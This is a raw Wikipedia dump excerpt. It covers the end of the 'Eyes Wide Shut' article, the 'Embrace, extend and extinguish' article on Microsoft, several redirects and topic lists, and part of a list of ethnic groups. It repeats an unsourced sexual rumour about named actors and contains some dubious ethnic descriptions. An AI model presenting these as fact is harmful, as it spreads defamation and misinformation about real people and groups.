==Critical response==
Critics objected chiefly to two features of the film.  First, the movie's pacing is slow.  While this may have been intended to convey the nature of dreaming, critics objected that it simply made actions and decisions laborious.  Second, reviewers commented on the fact that Kubrick had shot his [[New York City]] scenes in a studio and that New York didn't &quot;look like
New York.&quot;

[[Lee Siegel]], [http://www.indelibleinc.com/kubrick/films/ews/reviews/harpers.html writing] in ''Harper's'', felt that most critics responded mainly to the marketing campaign and were unable to address the film on its own terms.

==American censorship controversy==
Citing contractual obligations to deliver an '''R''' rating, [[Warner Brothers]] digitally altered the orgy scene for the American release of ''Eyes Wide Shut'', [[censorship|blocking out]] images of graphic sexuality in order to avoid an '''NC-17''' rating. This alteration of Kubrick's vision antagonized many cinephiles, as they argued that Kubrick had never been shy about ratings: ''[[A Clockwork Orange (film)|A Clockwork Orange]]'' had an [[X-rated|X-rating]].

==Music==
* The film's title music is &quot;Waltz 2&quot; from [[Shostakovich]]'s [[Suite for Variety Stage Orchestra (Shostakovich)|Suite for Variety Stage Orchestra]], for years misidentified as the composer's ''Jazz Suite 2'', recorded and released under the latter, incorrect, name by the [[Royal Concertgebouw Orchestra]]. The headline of the newspaper which Bill Harford buys at the Newstand reads &quot;Lucky to be Alive&quot; - a phrase which corresponds fundamentally with Shostakovich's life; so the choice of music is perhaps a reference to the parallels in Shostakovich's biography. (see Solomon Volkov (2004). ''Shostakovich and Stalin: The Extraordinary Relationship Between the Great Composer and the Brutal Dictator.'' Knopf. ISBN 0375410821.)
* In the scene with the strange ritual, the incantations heard in the background are actually [[Christian]] [[prayer]]s sung in [[Romanian language|Romanian]], played in reverse.
* One of the recurring pieces of music in the film is the eerie second movement of [[György Ligeti]]'s piano cycle &quot;Musica Ricercata&quot;.  The piece is unusual in that it uses only three notes (plus octave displacements), in addition to the unyielding performance indication of ''Mesto, rigido e cerimoniale''. The choice of Ligeti is interesting because Kubrick used Ligeti's ''Atmospheres'' in his film [[2001:_A_Space_Odyssey|2001: A Space Odyssey]] without obtaining Ligeti's consent, much to the composer's dismay. The piece was intended by Ligeti as a portrait of [[Stalin]] and his [[Great Purge|terror]] - possibly another connection to Shostakovich's waltz.
* In the morgue scene, Franz Liszt's late solo piano piece, &quot;Nuages Gris&quot; (&quot;Somber Clouds&quot;) (1881), heightens the morbidity.

==Trivia==
* [[Christiane Kubrick]], Stanley's wife, had an uncredited guest role as a woman sitting behind Dr. Harford at Café Sonata.
* Kubrick considered casting [[Steve Martin]] in the role of Dr William Hartford, eventually given to Tom Cruise.
* During the long shooting schedule, actors [[Harvey Keitel]] and [[Jennifer Jason Leigh]] dropped out, and were replaced by [[Sydney Pollack]] and [[Marie Richardson]], respectively. 
*Rumor has it that Harvey Keitel, who was supposed to pretend to masturbate behind Nicole Kidman's back, did it for real and ejaculated in Kidman's hair. The rumor continues that Nicole Kidman and Tom Cruise approached Kubrick the next day, saying &quot;Keitel goes, or we do.&quot;
* Woody Allen claimed that Kubrick had considered him for the role of Victor Ziegler, but says that Kubrick &quot;came to his senses&quot;.
* Director Stanley Kubrick died just four days after presenting Warner Bros. with what was reported to be a final cut of the film.

==External links==
*  [http://eyeswideshut.warnerbros.com/ Official Website at Warner Bros.]
* {{imdb title|id=0120663|title=Eyes Wide Shut}}
*  [http://www.visual-memory.co.uk/amk/doc/0096.html Introducing Sociology: a review of Eyes Wide Shut by Tim Kreider]
* [http://www.xahlee.org/Periodic_dosage_dir/skina/skina2.html Screenshots]

{{Stanley Kubrick Films}}

[[Category:1999 films]]
[[Category:Cult films]]
[[Category:Drama films]]
[[Category:Films based on fiction books]]
[[Category:Films directed by Stanley Kubrick]]
[[Category:Mystery films]]
[[Category:Nicole Kidman films]]
[[Category:Thriller films]]
[[Category:American films]]

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  <page>
    <title>Extreme unction</title>
    <id>9980</id>
    <revision>
      <id>15907829</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anointing of the Sick]]
</text>
    </revision>
  </page>
  <page>
    <title>Extreme Unction</title>
    <id>9981</id>
    <revision>
      <id>15907830</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anointing of the Sick]]
</text>
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  </page>
  <page>
    <title>Embrace, extend and extinguish</title>
    <id>9983</id>
    <revision>
      <id>41023630</id>
      <timestamp>2006-02-24T15:35:17Z</timestamp>
      <contributor>
        <username>Uzume</username>
        <id>51070</id>
      </contributor>
      <text xml:space="preserve">&quot;'''Embrace, extend and extinguish'''&quot; ('''EEE''') is a phrase commonly used by [[Common criticisms of Microsoft|Microsoft's critics]] as a scornful takeoff of a public statement made by [[Microsoft]]. The public statement had declared that Microsoft aimed to &quot;'''embrace and extend'''&quot; popular [[standardization|standard]]s and existing work. The term ''Embrace, extend and extinguish''
suggests that the stages of embracing and extending are only prefaces to extinguishing or supplanting existing work with Microsoft 
alternatives. The term is commonly used on [[website]]s such as [[Slashdot]] where anti-Microsoft thinking abounds. Critics of 
Microsoft say the company uses EEE to drive competitors out of business by forcing them to use nonstandard and often purportedly problematic technology that Microsoft controls.

Although the behavior is today attributed to Microsoft because of their dominant position in the [[computing]] world, it has been present all along in both computer and non-computer history.

A similar takeoff with slightly more detail on the process is &quot;'''Copy, corrupt, copyright, circulate, control'''&quot;.

==Microsoft, the Internet, and other standards==
Microsoft's strategy toward the [[Internet]] and other [[open standard|standard]]s has been described as being EEE by those who claim that the company exercises unfair anticompetitive practices.

The three stages of the  EEE strategy consists of the following steps:
# '''Embrace:''' The company publicly announces that they are going to support a standard. They assign an [[employee]] or employees to work with the standards bodies, such as the [[World Wide Web Consortium|W3C]] and the [[Internet Engineering Task Force|IETF]].
# '''Extend:''' They do support the standard, at least partially, but start adding company-only extensions of the standard to their products. They argue that they are trying only to add value for their customers, who want them to provide these features.
# '''Extinguish:''' Through various means, such as driving use of their extended standard through their server products and developer tools, they increase use of the proprietary extensions to the point that competitors who do not follow the company version of the standard cannot compete. The company standard then becomes the only standard that matters in practical terms (a de facto standard), and it allows the company to control the industry by controlling the standard.

Evidence held up in support of the 'EEE' view of Microsoft's policies include the [[Halloween documents]], a series of confidential, internal Microsoft memos related to dealing with [[Linux]] and [[open source]] software, which were leaked to the public.  What exactly can be inferred from the documents about Microsoft's strategies is up to debate.  

Examples of areas where &quot;embrace, extend and extinguish&quot; have been alleged:
*[[Softmodem]]
*[[HTML]], [[Cascading Style Sheets|CSS]], [[Document Object Model|DOM]]
*[[Kerberos (protocol)|Kerberos]]
*[[Altair BASIC]]
*[[Server message block|SMB]] networking
*Indirect control of the [[IBM compatible PC]] architecture
*[[Media Transfer Protocol]]
*[[C++]]
*[[OpenGL]]
*[[JavaScript]]
*[[Java programming language|Java]] (in relation to which EEE is sometimes called 'Java pollution')

The last example was the subject of a widely-publicized lawsuit between Microsoft and [[Sun Microsystems]], which was settled.

The phrase &quot;embrace, extend and extinguish&quot; should be reserved for the particular strategy outlined above. Therefore, in the subject ''[[Java programming language|Java]] vs. [[.NET Framework|.NET]]'', EEE would not strictly apply either because .NET is marketed under the Microsoft brand name. However, a [[J Sharp|J#]] language is positioned in .NET as a way to lure Java programmers to the .NET Framework. 
Some observers suspect that Microsoft intends to use EEE with the [[C Sharp|C# programming language]], by first getting many users for the [[European Computer Manufacturers Association|ECMA]]-standard version of the language, which was intentionally designed as a successor to the popular C programming language, then later adding proprietary extensions and removing support for the standards-based version. However, at the present time Microsoft has not deviated therefore those suspicions may be unfounded.

Another example is the [[C++]] programming language.  First, Microsoft tried to extend it as [[Managed Extensions for C++|Managed C++]] in Visual C++.NET; however, this attempt was met with a lot of resistance as the managed extensions were poorly implemented and aesthetically unappealing.  Because of the poor reception, Microsoft made a second attempt at extending C++, this time calling it [[C++/CLI]]. It remains to be seen whether these new extensions, first implemented in [[Visual Studio 2005]], will gain wide acceptance. The other issue with Microsoft's C++ implementation appears to be the removal of many originally strict errors and warnings that appear in other, more standards compliant compilers such as the open-source GCC compiler. The omission of these errors frequently causes strange portability problems and compiler failures when porting C++ code, even if it does not contain any Microsoft-specific code.

The purported effectiveness of EEE lies in [[network effect]], the idea that the value of a product to a potential customer increases as the number of customers who already use that product increases. In the first edition of ''[[The Road Ahead]]'', [[Bill Gates]] explains in detail his plans to use the network effect to Microsoft's advantage.

==Self-limitation of EEE==
If true, Microsoft's &quot;embrace, extend, and extinguish&quot; strategy seems to have had limited usefulness. It has affected HTML, mostly through the alterations to the Document Object Model in [[Internet Explorer]]. One flaw in this strategy is that incompatible enhancements generally create customer pushback, especially when those enhancements have limited usefulness.

==See also==
*[[Open system (computing)]]
*[[Open standard]]
*[[Open format]]
*[[OpenDocument]]
*[[Network effect]]
*[[Vendor lock-in]]
*[[Path dependency]]		

==External links==
*[http://zdnet.com.com/2100-11-512681.html?legacy=zdnn 1998 accusation of Microsoft's desire to apply 'extend, embrace and extinguish' competition to Intel]
*[http://forum.redlers.com/viewtopic.php?t=14 Forum Debate] a lively &amp; informative ongoing debate over open vs. closed systems, open vs. closed standards, and the OpenDocument format (ODF)


[[Category:Microsoft]]

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    <title>Earth Sciences basic topics</title>
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      <id>15907832</id>
      <timestamp>2002-04-27T23:16:59Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect [[Earth science]]</comment>
      <text xml:space="preserve">#redirect [[Earth science]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic economical topics</title>
    <id>9985</id>
    <revision>
      <id>31111336</id>
      <timestamp>2005-12-12T22:52:34Z</timestamp>
      <contributor>
        <username>Go for it!</username>
        <id>571592</id>
      </contributor>
      <minor />
      <comment>moved [[Economics basic topics]] to [[List of basic economical topics]]</comment>
      <text xml:space="preserve">These should be the most basic topics in the field--topics about which we'd like to have articles soon.  Please see [[the most basic encyclopedia article topics]] for general instructions on constructing this list, and consult [[complete list of encyclopedia topics]]

[[Macroeconomics]] -- [[Microeconomics]]

[[Development economics]] -- [[Econometrics]] -- [[Economic history]] -- [[Financial economics]] -- [[Industrial organization]] -- [[International economics]] -- [[Labor economics]] -- [[Law and Economics]] -- [[Mathematical economics]] -- [[Monetary economics]] -- [[Political economy]] -- [[Public economics]] -- [[Platform economics]]

I started a page defining the important concept of [[network effect]].

We should discuss population studies and the work of [[Thomas Malthus]] - not sure what branches are the right ones for this? [[Development economics]]? [[Macroeconomics]]? [[Economic history]]?</text>
    </revision>
  </page>
  <page>
    <title>List of basic education topics</title>
    <id>9986</id>
    <revision>
      <id>33565390</id>
      <timestamp>2006-01-02T05:59:53Z</timestamp>
      <contributor>
        <username>Cdc</username>
        <id>132820</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[List of education topics]] - this has same content as that</comment>
      <text xml:space="preserve">#REDIRECT [[List of education topics]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic engineering topics</title>
    <id>9987</id>
    <revision>
      <id>39755780</id>
      <timestamp>2006-02-15T17:33:39Z</timestamp>
      <contributor>
        <username>Krash</username>
        <id>219529</id>
      </contributor>
      <minor />
      <comment>dab &quot;Drafting&quot;</comment>
      <text xml:space="preserve">Below is a list of basic topics in '''[[engineering]]''' -- topics which will help the beginner become familiar with the field of chemistry.  For a comprehensive list, see [[List of engineering topics]].

*[[fasteners]]
*[[hand tools]]
*[[machine tools]]
*[[measuring]] -- [[measurement]]
*[[materials]] -- [[material science]]
**[[corrosion]]
*[[engineering and science contrasted]]
*[[quality]] -- [[validation]] -- [[quality control]]
*[[design]]
**[[drawings]] -- [[drawing]] -- [[CAD]] -- [[Technical drawing|drafting]]
**[[cost]]
*[[planning]] -- [[teamwork]] -- [[management]] -- [[peopleware]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic entertainment topics</title>
    <id>9988</id>
    <revision>
      <id>31147473</id>
      <timestamp>2005-12-13T03:56:58Z</timestamp>
      <contributor>
        <username>Go for it!</username>
        <id>571592</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Below is a list of basic topics in '''[[entertainment]]''' -- topics which will help the beginner become familiar with the field of entertainment.  For a comprehensive list, see [[List of entertainment topics]].

See also, the:

* List of cooking topics, see: [[Cooking|cooking]], [[Cuisine|cuisines]]
* [[List of basic dance topics]]
* [[List of basic gaming topics]]
* [[List of basic hobby topics]]
* [[List of basic literary topics]]
* [[List of basic film-related topics]]
* [[List of basic musical topics]]
* [[List of basic operatic topics]]
* [[List of basic recreation topics]]
* [[List of basic sports topics]]
* List of [[Television|television]] subcategories
* [[List of basic theatrical topics]]

----

'''A'''

[[Acrobatics]] -- [[Aerial acts]] -- [[Animal training]] -- [[Annie Fratellini]] -- [[Applause]] -- [[Archaos (circus)|Archaos]] -- [[Austin Miles]] -- 

'''B'''

'''C'''

[[Celebrity]] -- [[Chat]] -- [[Chinese yo-yo]] -- [[Circus (performing art)|Circus]] -- [[Cirque du Soleil]] -- [[Clown]] -- [[Comedian]] -- [[Comedy]] -- [[Contact juggling]] -- [[Contortion]] -- [[Corde lisse]] -- 

'''D'''

[[Devil Sticks]] -- [[Diabolo]] -- 

'''E'''

[[Emmett Kelly]] -- 

[[Equilibristics]]

'''F'''

[[Fire breathing]] -- [[Fire eating]] -- 

'''G'''

[[Geisha]] -- [[German wheel]] -- 

'''H'''

[[Hand-to-hand balancing]] -- [[Hoola hoop]] -- [[Human cannonball]] -- [[Humor]] -- [[Horse-Riding]] --

'''I'''

[[Internet humor]] -- [[Ice-Skating]] --

'''J'''

[[Juggling]] -- 

'''K'''

[[Knife throwing]] -- 

'''L'''

[[List of people who have won an Emmy, a Grammy, an Oscar and a Tony Award]] -- 

'''M'''

[[Magic (illusion)|Magic]] -- [[Mime]] -- 

'''N'''

[[New Media]] -- 

'''O'''

[[Old Grey Whistle Test]] -- [[Old time radio]] -- 

'''P'''

[[Performing arts]] -- [[Plate spinning]] -- [[P.T. Barnum]] -- 

'''Q'''

'''R'''

[[Radio]] -- [[Radio programming]] -- [[Ringling Brothers and Barnum and Bailey Circus]] -- [[Rock opera]] -- [[Rodeo clown]] -- 

'''S'''

[[Sex business]] -- [[Stars in Their Eyes]] -- [[Show business]] -- [[Showstopper]] -- [[Side show]] -- [[Spanish Web]] -- [[Stilting]] -- [[Sword swallowing]] -- [[Skating]] -- [[Show-Jumping]] -- 

'''T'''

[[Teen idol]] -- [[Tightrope walking]] -- [[Trapeze]] -- 

'''U'''

[[Unicycle]] -- 

'''V'''

[[Ventriloquism]] -- 

'''W'''

'''X, Y, Z'''

[[Zip the Pinhead]] --
[[Category:Wikipedia missing topics]]</text>
    </revision>
  </page>
  <page>
    <title>List of ethnic groups</title>
    <id>9992</id>
    <revision>
      <id>42122612</id>
      <timestamp>2006-03-03T23:42:45Z</timestamp>
      <contributor>
        <username>Steppenfox</username>
        <id>251258</id>
      </contributor>
      <comment>/* R */ fixed Roma link</comment>
      <text xml:space="preserve">This is list of names of [[ethnic group]]s.
A group can have several names (e.g., names in [[English language|English]] and in a native language, obsolete names, versions of spelling, etc.) An ethnic group is a human population whose members identify with each other, usually on the basis of a supposedly shared common genealogy or ancestry (Smith 1986). Henceforth, this list may include only groups whose members self-identify and/or are identified by others as members of an ethnic group.

__NOTOC__
{{compactTOC2}}

==A==
*[[Abenaki]] - [[Indigenous peoples of the Americas|Native Americans]] of [[Quebec]], [[Vermont]], [[New Hampshire]], and possibly [[Maine]] and [[Nova Scotia]] ([[Algonquin people]])
*[[Abkhazians]] - Minority in [[Georgia (country)|Georgia]], [[Turkey (country)|Turkey]] and [[Russia]], majority (since 1993 civil war) in [[Abkhazia]]
*[[Indigenous Australians]], also called ''Aborigines'', indigenous peoples of mainland [[Australia]].
*[[Acadian]] - [[French-Canadians]] of the [[Canadian Maritimes]]
*[[Accohannock]] - [[Native Americans in the United States|Native Americans]] of [[Maryland]]
*[[Achang]] - [[Yunnan]], [[China]]
*[[Achomawi]] - [[Native Americans in the United States|Native Americans]] of [[California]]
*[[Acoma Pueblo|Acoma]] - [[Indigenous peoples of the Americas|Native Americans]] of the southwest [[United States]] and [[Mexico]]
*[[Adyghe]] - Minority in [[Russia]], in the north [[Caucasus]] region.
*[[Afar (ethnicity)|Afar]] - A tribal people in [[Ethiopia]], [[Eritrea]] and [[Djibouti]]. Also known as ''Danakil''
*[[African American|African-American]] - [[Mulatto]] [[United States|Americans]]
*[[Afrikaners]] - descendants of [[The Netherlands|Dutch]] settlers / French [[Huguenot]] refugees &amp; German Protestants of southern [[Africa]]
*[[Afro-Cuban]]
*[[Afromestizos]]
*[[Afro-Trinidadian]]
*[[Aftsarians]] or [[Isaurians]]
*[[Agni]] - minority group in [[Côte d'Ivoire]]
*[[Aguls]] - [[Dagestan]]i minority group
*[[Ahtna]] - Native [[Alaska]]ns, along the [[Copper River (Alaska)|Copper River]]
*[[Aimaks]] - Minority group in [[Afghanistan]]
*[[Aimaq]] - Minority group in [[Afghanistan]]
*[[Ainu people|Ainu]] - Natives of [[Hokkaido]], much of [[Sakhalin]], the [[Kuriles]], and at one time northern [[Honshu]], the [[Kamchatka Peninsula]], and the [[Amur River]] basin
*[[Aja people|Aja]] - Minority group in [[Benin]]
*[[Ak Chin]] - [[Native Americans in the United States|Native American]] group now resident in [[Pinal County, Arizona]] on the [[Tohono O'odham]] reservation &lt;!--Ak Chin = Tohono O'odham I thought?--&gt;
*[[Akan (ethnic group)|Akan]] - People of West Africa, inhabiting principally [[Ghana]], [[Côte d'Ivoire]] and [[Togo]]
*[[Akha]]
*[[Alabama (people)|Alabama]] - [[Native Americans in the United States|Native American]] people from whom the state takes its name; now sharing a reservation in [[Texas]] with the [[Coushatta]]
*[[Alak people|Alak]] - from [[Laos]]
*[[Albanians]] - Natives of the south-west [[Balkans]], principally residing in [[Albania]], [[Republic of Macedonia|Macedonia]], [[Serbia and Montenegro]], and [[Greece]].
''See also: [[Albanians in the Republic of Macedonia]]''
*[[Aleut]] - Natives of Alaska, and the [[Yukon Territory|Yukon]], [[Nunavut]] and [[Northwest Territories]]
*[[Algonquian]] - [[Indigenous peoples of the Americas|Native Americans]] of the eastern [[United States]] and [[Canada]]
*[[Altaic people|Altaic peoples]] - Non-homogeneous peoples of the [[Altai]] Mountains region
*[[United States|American]] - Homogeneous population of [[British American]]s, primarily focused in while being the native majority ethnic group of the former [[Confederate States of America]](see [[Southern United States]] and [http://en.wikipedia.org/wiki/Image:Census-2000-Data-Top-US-Ancestries-by-County.jpg this map]).  In [[Latin America]], this is a geographic label referring to all inhabitants of the &quot;[[New World]]&quot;.
*[[Americo-Liberians]] - [[Mulatto]] [[African American]]s were given [[reparations for slavery]] in the form of their own country back in their homeland and this is [[Liberia]], so they are Liberians.
*[[Amhara]] - Indigenous people of central [[Ethiopia]]
*[[Amish]] - [[North America]]n religious minority, of [[ethnic German|German]] descent
*[[Amungme]]
*[[Andorran]]s - Inhabitants of a small nation between [[France]] and [[Spain]]
*[[Anglo-American]] - In the United States, this term identifies both Anglo-Saxons and people who have assimilated or adhere to, the Anglo-Saxon ethnicity but, may not necessarily be of Anglo-Saxon stock. 
*[[Anglo-Celtic Australian]] - Inhabitants of Australia with [[Great Britain|British]] descent
*[[Anglo-Indian]] - Offspring of mixed [[India]]n and [[Great Britain|British]] parentage resident in [[India]] and [[Great Britain]]
*[[Anglo-Saxon]] - Historically, the name for the united Teuton tribes inhabiting Britain from the 5th century to the Norman invasion.  Most commonly used today in the United States for a person of British descent, or pertaining to the English speaking world.
*[[Annamites]] or [[Vietnamese people|Vietnamese]] or [[Kinh]] or [[Jing]] - A people of Mongolian descent living in Vietnam as the dominant majority. 
*[[Ansar]] or [[Ansarie]]
*[[Antigua|Antiguan]]
*[[Antilles|Antillean]] 
*[[Apache Tribe|Apaches]] - groups of [[Native Americans in the United States|Native Americans]] in the western plains of the [[United States]]
*[[Apinaje]]
*[[Arab]] - originally from [[Arabia]], now widespread throughout the [[Middle East]] and [[North Africa]]
*[[Aramean]] - people of the [[Middle East]], chiefly resident in [[Syria]]
*[[Arapaho]] - [[Native Americans in the United States|Native American]] people, formerly inhabiting [[Colorado]] and [[Wyoming]], now living in [[Oklahoma]] and [[Wyoming]]
*[[Araucanian]] - Non-homogeneous peoples of [[South America]], inhabiting [[Chile]] and western [[Argentina]]
*[[Arawak]] - natives of the [[Caribbean]]
*[[Arikara]] - [[Native Americans in the United States|Native American]] people from the upper Midwest United States
*[[Armenians]] - natives of the [[Caucasus]] region, [[Armenia]] and [[Nagorno-Karabakh]], with a large worldwide [[diaspora]]
*[[Aromanians]] (or ''Macedo-Romanians'') - a population living as a minority in Northern Greece, Serbia, the Former Yugoslav Republic of Macedonia, Albania and Bulgaria
*[[Arubans]] - [[Netherlands|Dutch]]-colonized island in the [[Caribbean]]
*[[Arvanites]]
*[[Indo-Iranians|Aryans]] - [[Indo-Iranians]], ancient inhabitants of South Asia (excluding Southern India), [[Central Asia]] and the [[Iranian plateau]], but it can also refer to [[Indo-Aryans]], who are inhabiting the majority of South Asia, as well as Afghanistan
*[[Asheninka]]
*[[Ashkenazi Jews]] - approximately 80% of the world's [[Jewish]] population
*[[Assiniboine]] - [[Indigenous peoples of the Americas|Native American]] people living in [[Alberta]], [[Saskatchewan]], and [[Montana]]; one of the [[Sioux]] peoples
*[[Assyrian people|Assyrians]] - [[Middle East]]ern, principally in [[Iraq]] and [[Syria]] with large [[diaspora]]
*[[Atikamekw]]
*[[Atsina]] - [[Indigenous peoples of the Americas|Native American]] people inhabiting [[Montana]] and formerly [[Saskatchewan]]
*[[Atsugewi]]
*[[Australian aborigine]] - generic name for native inhabitants of [[Australia]]
*[[Caucasian Avars|Avars]] - inhabitants of the [[Russia]]n republic of [[Dagestan]]
*[[Awá]] - an endangered [[Amazonia]]n tribe of [[hunter-gatherer]]s
*[[Aymara]]s - South American people of [[Bolivia]] and [[Peru]]
*[[Azeris]] - [[Turkic]], Shiite [[Turkic peoples|Turks]]. One of the latest arriving groups in the Caucasus, living predominantly in [[Azerbaijan]] and northern [[Iran]].
*[[Aztecs]] - [[Central America]]n people, descendants widespread in [[Mexico]]
*[[Amerasian]]-A person of American and Asian descent, especially one whose mother is Asian and whose father is American

==B==
*[[Ba Na]]
*[[Baggara]] or ''Baqqarah'' - [[Sudan]]
*[[Baguirmi]] - inhabitants of [[Chad]]
*[[Bahamas|Bahamian]]
*[[Bai]] - national minority of [[China]], inhabiting [[Yunnan]] province
*[[Bajau]] - ''Sea Gypsies'' of [[Borneo]]; touch land only to bury their dead.
*[[Baka (nomadic Central African people)|Baka]] - one of the [[Pygmy]] peoples of central [[Africa]]. See also [[Twa]], [[Aka (Pygmy Tribe)|Aka]], [[Mbuti]], [[Binga]] and [[Gelli Efé]].
*[[Bakongo]] - majority population of the [[Republic of the Congo]]; also living in [[Angola]]
*[[Balkars]] - people of the northern [[Caucasus]], mainly inhabiting the [[Russia]]n republic of [[Kabardino-Balkaria]]
*[[Baloch]] (also ''Baluch'') - traditionally nomadic [[Muslim]] people of [[Baluchistan]]
*[[Bamar]] - the majority ethnic group of [[Myanmar]]
*[[Bambara]] - group living chiefly in [[Mali]] and [[Guinea]] 
*[[Bamileke]] - majority inhabitants of [[Cameroon]]
*[[Banawa]]
*[[Banda (CAR)|Banda]] - one of the peoples of the [[Central African Republic]]
*[[Bandjabi]]
*[[Bantu]] - ethnic group widespread in central and southern [[Africa]]
*[[Baoule]] - major ethnic group in [[Côte d'Ivoire]]
*[[Bapou]]
*[[Bariba]] - national minority in [[Benin]]
*[[Barbados|Barbadian]]
*[[Barbuda|Barbudan]]
*[[Basarwa]] - ethnic minority in [[Botswana]]
*[[Bashkirs]] (or ''Bashkhirs'') - people of east central [[Russia]], inhabiting principally [[Bashkortostan]]
*[[Basotho]] - inhabitants of [[Lesotho]]
*[[Basque people|Basques]] - located in the [[Pyrenees]] between [[Spain]] and [[France]]
*[[Bassa]] - people of [[Liberia]]
*[[Bassari]]
*[[Baster]] (also known as Baaster) - people descended from the offspring of Dutch speaking whites and black African women 
*[[Bateke]] - minority group in the [[Republic of the Congo]]
*[[Batswana]] - largest ethnic group in [[Botswana]]
*[[Bavarians]] - inhabitant of the [[Germany|German]] state of [[Bavaria]], with a distinctive dialect of [[High Germanic languages|High German]]
*[[Baya-Mandjia]]
*[[Bedouins]] - nomadic group throughout [[North Africa]] and western [[Middle East]]
*[[Beja people|Beja]] - nomadic group in northern Eritrea, southern Egypt, and northeastern Sudan 
*[[Belarusians]] - [[Slavic people]] of [[eastern Europe]], [[Belarus]]
*[[Bengalis]] - [[South Asia]]n [[Indo-Aryans|Indo-Aryan]] people, inhabiting [[Bangladesh]] and the [[India]]n state of [[West Bengal]]
*[[Berbers]] - a [[North Africa]]n people, living in [[Morocco]], [[Algeria]], [[Tunisia]], [[Libya]] and [[Egypt]]
*[[Betammaribe]]
*[[Bethio]]
*[[Beti-Pahuin]] - group of peoples from [[Central Africa]]
*[[Bhotia]] - majority population of [[Bhutan]], of [[Tibet]]an descent
*[[Biafran]]s - inhabitant of eastern [[Nigeria]]n region (see also [[Ibo]])
*[[Bit]]
*[[Blackfeet]] (or ''Blackfoot'') - group of [[Native Americans in the United States|Native American]] peoples of the [[Great Plains]] of the [[United States]], comprising the Blackfoot, [[Blood (people)|Blood]], and [[Piegan]] tribes.
*[[Bo Y]]
*[[Bonan]]
*[[Bonaire|Bonairean]]
*[[BORAN - Oromo]] inhabitants of Kenya and Ethiopia and Part of the Large Oromo Community
*[[Bosniak]] - [[Muslim]] [[Slavic people]] of [[southeastern Europe]], inhabiting chiefly [[Bosnia and Herzegovina]] and [[Sandžak]]
*[[Bouganvilleans]] - inhabitants of island near [[Papua New Guinea]]
*[[Boyko]] - the mountain people in [[Central Europe]]
*[[Brau]]
*[[Breton people|Bretons]] - [[Celt]]ic group in northwest [[France]]
*[[Briton]]s - indigenous and majority population of [[Great Britain]] encompassing the groups of [[English people|English]], [[Scottish people|Scottish]] and [[Welsh people|Welsh]] as well as regional groups within these groups. Also used to refer to citizens of the [[United Kingdom]] which includes [[Northern Ireland]].
*[[British-Canadian]] - Anglophone Canadians, largely of British descent.
*[[Bru-Van Kieu]] - [[Vietnam]]
*[[Brule|Brulé]] - [[Native Americans in the United States|Native American]] people inhabiting parts of [[Nebraska]] and [[South Dakota]]; one of the [[Sioux]] peoples
*[[Bubi]] minority ethnic group in [[Equatorial Guinea]] Majority Ethnic group on the island of [[Bioko]]
*[[Bugis]] is one of the etnics in [[Indonesia]] and [[Malaysia]], mostly inhabiting [[South Sulawesi]] of Indonesia and state of [[Sabah]] of Malaysia.
*[[Bulang]]
*[[Bulgars]] - an ancient people of [[central Asia]]
*[[Bulgarians]] - [[Slavic people]] of [[southeastern Europe]]
*[[Bunjevci]] - [[Slavic people]] of the [[Balkans]]
*[[Buryats]] - people of the eastern Russian republic of [[Buryatia]]
*[[Bushongo]] - inhabitants of the [[Congo basin]] region
*[[Buyi]] - national minority of [[China]]

==C==
*[[Caddo]] - [[Native Americans in the United States|Native American]] peoples formerly residing in [[Louisiana]], [[Arkansas]] and [[Texas]], now located in central [[Oklahoma]]. 
*[[Cahuilla]]
*[[Kaingang|Caingang]]
*[[Cajuns]] - [[France|French]]-[[United States|Americans]] in [[Louisiana]]. See also [[Acadian]].
*[[Canaanites]]
*[[Cape Coloured]] - mixed-race population of the [[Western Cape Province]] of [[South Africa]]
*[[Cape Malays|Cape Malay]] - [[Malay people|Malay]]-descended population of the [[Western Cape Province]] of [[South Africa]]
*[[Cape Verdean]]
*[[Caprivian]] - inhabitants of the [[Caprivi Strip]] in northeastern [[Namibia]]
*[[Caribs]] - group of [[Indigenous peoples of the Americas|Native American]] peoples of northern [[South America]], the [[Lesser Antilles]], and the east coast of [[Central America]]; now mostly extinct
*[[Caribbean]]
*[[Caripuna]]
*[[Catalan people|Catalans]] - inhabitants of north-eastern [[Spain]] and southwestern [[France]]
*[[Catawba (tribe)|Catawba]] - [[Native Americans in the United States|Native Americans]] from the Carolina region of the [[United States]], now resident in western [[South Carolina]]
*[[Cayman Islands|Caymanian]]
*[[Cayuga]] - [[Native Americans in the United States|Native American]] people of [[New York state]], now resident in [[Wisconsin]] and [[Oklahoma]]; one of the [[Iroquois]] group of peoples
*[[Cayuse]] - [[Native Americans in the United States|Native American]] people of northeast [[Oregon]] and southeast [[Washington]]
*[[Cham people|Cham]] - a people of [[Indonesian]] stock living in [[Cambodia]] and central [[Vietnam]]
*[[Chagga]] - a people of [[Bantu]] stock (Niger-Congo-B) living in [[Kilimanjaro]] Region in [[Tanzania]]
*[[Chechens]] - inhabitants of northern [[Caucasus]], chiefly in [[Chechnya]] in [[Russia]]
*[[Chehalis]]
*[[Chemakum]]
*[[Chemehuevi]] - [[Native Americans in the United States|Native American]] people of the southwest [[United States]]
*[[Chepang]]
*[[Chere]]
*[[Cherokee]] - [[Native Americans in the United States|Native American]] people originally of [[Tennessee]] and [[North Carolina]], now mostly living in [[Oklahoma]]
*[[Cheyenne (ethnic group)|Cheyenne]] - [[Native Americans in the United States|Native American]] people of the [[Great Plains]] of the [[United States]]
*[[Chicano]] - a [[United States]] citizen of [[Mexican]] origin
*[[Chickahominee]]
*[[Chickasaw]] - [[Native Americans in the United States|Native American]] people formerly of northeast [[Mississippi]] and northwest [[Alabama]], now living in [[Oklahoma]]
*[[Chilcotin]] - [[Aboriginal peoples in Canada|Native American]] inhabitants of [[British Columbia]]
*[[Han Chinese|Chinese]] - [[Han Chinese]] people, the dominant ethnic group of [[China]]
*[[Chinookan]] - members of a number of [[Native Americans in the United States|Native American]] peoples living in the [[Columbia River]] valley in [[Washington]] and [[Oregon]]
